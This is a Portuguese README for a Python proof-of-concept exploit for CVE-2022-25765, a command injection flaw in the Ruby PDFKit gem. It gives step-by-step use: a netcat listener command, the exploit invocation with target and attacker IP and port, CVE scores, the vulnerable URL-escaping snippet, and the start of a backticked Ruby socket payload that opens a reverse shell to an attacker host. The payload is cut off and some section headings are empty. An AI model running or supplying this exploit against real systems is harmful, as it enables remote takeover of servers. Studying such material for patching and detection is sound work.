
# PoC em Python para CVE-2022-25765 Exploit de prova de conceito em Python para CVE-2022-25765, uma injeção crítica de comandos no PDFKit. Gera um reverse shell por meio de parâmetros de URL não sanitizados passados ao wkhtmltopdf. Inclui instruções de uso e análise técnica da vulnerabilidade.
Um pequeno exploit POC para CVE-2022-25765, PDFkit-CMD-Injection
Inicie um listener netcat na sua máquina de ataque:
nc -lvnp 4444
Execute o exploit:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Exemplo:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Parâmetros:
-t, --target: URL alvo executando PDFKit vulnerável-l, --lhost: Seu endereço IP para a conexão de reverse shell-p, --lport: Sua porta para a conexão de reverse shell (deve corresponder ao seu listener netcat)CVE ID: CVE-2022-25765 Pontuação CVSS v3.1: 9.8 (Crítico) Pontuação EPSS: 71.381% (percentil 99) CWE: CWE-77 - Neutralização Incorreta de Elementos Especiais usados em um Comando
O PDFKit é uma gem Ruby que converte HTML em PDF usando a ferramenta de linha de comando wkhtmltopdf. A vulnerabilidade existe na forma como o PDFKit lida com parâmetros de URL antes de passá-los para comandos do shell do sistema para a geração de PDF.
A vulnerabilidade reside em lib/pdfkit/source.rb, onde a sanitização de URLs é implementada incorretamente:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
O Problema:
Vetor de Ataque:
Este PoC explora a vulnerabilidade ao:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'No Sistema Alvo: